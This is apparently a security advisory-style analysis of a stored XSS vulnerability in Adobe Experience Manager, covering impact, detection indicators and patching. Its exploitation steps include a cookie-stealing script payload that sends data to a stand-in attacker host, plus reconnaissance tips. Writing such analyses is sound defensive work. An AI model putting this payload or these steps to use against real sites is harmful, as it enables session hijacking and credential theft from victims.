CVE-2025-64578: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64578 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was disclosed on December 9, 2025, with Adobe publishing the advisory (APSB25-115) the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executes in the browser of any victim who subsequently visits the page containing the affected field. Exploitation requires network access, low attack complexity, low privileges, and user interaction (a victim browsing the affected page), with scope change indicating the impact crosses the security boundary of the originating application (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the AEM instance, resulting in low confidentiality and low integrity impact with no direct availability impact. Potential consequences include session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. In environments where AEM administrators or privileged users are targeted, the impact could escalate to broader compromise of the CMS environment (Adobe Advisory, Feedly).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a contributor or author role).
3. Identify vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input (e.g., content authoring forms, comment fields, or metadata fields) that lack proper output encoding.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Lure a target user (e.g., an AEM administrator) to browse the page containing the stored payload, causing the malicious script to execute in their browser context.
6. Harvest results: Collect stolen session tokens, cookies, or credentials via the attacker-controlled server to perform session hijacking or further unauthorized actions (Adobe Advisory, Feedly).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /api/assets/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) from low-privileged user accounts.
• Network: Outbound HTTP/S requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages; DNS queries to attacker-controlled domains originating from internal user workstations.
• File System / Content Repository: Stored AEM content nodes (JCR) containing unsanitized HTML or JavaScript in text properties; unexpected <script> tags or event handler attributes in AEM page source.
• Process/Browser: Unexpected JavaScript execution errors or redirects reported by users browsing specific AEM pages; browser developer console errors referencing external domains not associated with the AEM deployment (Adobe Advisory).

Adobe has released patches addressing CVE-2025-64578 in AEM 6.5.24.0 (for on-premises deployments) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary workaround, restrict authoring access to trusted users only and implement a Web Application Firewall (WAF) rule to detect and block XSS payloads in AEM form submissions. Review and harden AEM content security policies (CSP) to limit script execution sources (Adobe Advisory).

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products patched in December 2025, including those addressed by APSB25-115, recommending prompt patching (CIS Advisory). No notable individual researcher commentary or significant social media discussion specific to CVE-2025-64578 has been identified beyond standard vulnerability tracking coverage.